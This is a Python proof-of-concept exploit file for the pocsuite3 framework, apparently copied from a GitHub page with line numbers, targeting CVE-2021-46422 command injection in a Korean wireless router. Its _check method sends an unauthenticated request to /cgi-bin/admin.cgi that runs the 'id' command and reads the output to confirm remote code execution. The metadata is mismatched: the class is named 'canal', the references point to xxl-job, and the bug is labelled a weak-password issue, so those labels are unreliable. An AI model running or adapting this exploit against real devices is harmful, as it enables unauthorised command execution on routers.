/
CVE-2021-46422_RCE.py
92 lines (82 loc) · 3.77 KB
/
CVE-2021-46422_RCE.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pocsuite3.api import (
Output,
POCBase,
POC_CATEGORY,
register_poc,
requests,
VUL_TYPE,
)
# 关于类的继承
class canal(POCBase):
# fofa语句: app="SDT-CW3B1"
vulID = "0" # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = "1" # 默认为1
author = "derian" # PoC作者的大名
vulDate = "2021-11-11" # 漏洞公开的时间,不知道就写今天
createDate = "2021-11-11" # 编写 PoC 的日期
updateDate = "2021-11-11" # PoC 更新的时间,默认和编写时间一样
references = ["https://github.com/xuxueli/xxl-job"] # 漏洞地址来源,0day不用写
name = "CVE-2021-46422" # PoC 名称
appPowerLink = "https://github.com/xuxueli/xxl-job" # 漏洞厂商主页地址
appName = "canal" # 漏洞应用名称
appVersion = "all" # 漏洞影响版本
vulType = VUL_TYPE.WEAK_PASSWORD # 弱口令 漏洞类型,类型参考见 漏洞类型规范表
category = POC_CATEGORY.EXPLOITS.WEBAPP # poc对应的产品类型 web的
# samples = [] # 测试样列,就是用 PoC 测试成功的网站
# install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
desc = """韩国的无线路由器 os cmd 注入""" # 漏洞简要描述
pocDesc = """远程代码执行""" # POC用法描述
def _check(self):
# 漏洞验证代码
headers = {"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
result = []
# 一个异常处理 , 生怕站点关闭了 , 请求不到 , 代码报错不能运行
try:
url=self.url.strip()
url1 = self.url.strip() + "/cgi-bin/admin.cgi?Command=sysCommand&Cmd=id"# self.url 就是你指定的-u 参数的值
res = requests.get(url1, headers=headers,verify=False, allow_redirects=False)
d = res.text.strip().split("<CmdResult>")
d = d[1].strip().split('</CmdResult>')
d = d[0].strip()
# 判断是否存在漏洞
if res.status_code==200 and "uid"in d:
result.append(url)
except Exception as e:
print(e)
# 跟 try ... except是一对的 , 最终一定会执行里面的代码 , 不管你是否报错
finally:
return result
def _verify(self):
# 验证模式 , 调用检查代码 ,
result = {}
res = self._check() # res就是返回的结果列表
if res:
result['VerifyInfo'] = {}
result['VerifyInfo']['Info'] = self.name
result['VerifyInfo']['vul_url'] = self.url
result['VerifyInfo']['vul_detail'] = self.desc
return self.parse_verify(result)
def _attack(self):
# 攻击模式 , 就是在调用验证模式
return self._verify()
def parse_verify(self, result):
# 解析认证 , 输出
output = Output(self)
# 根据result的bool值判断是否有漏洞
if result:
output.success(result)
else:
output.fail('Target is not vulnerable')
return output
# 你会发现没有shell模式 , 对吧 ,根本就用不到
# 其他自定义的可添加的功能函数
def other_fuc():
pass
# 其他工具函数
def other_utils_func():
pass
# 注册 DemoPOC 类 , 必须要注册
register_poc(canal)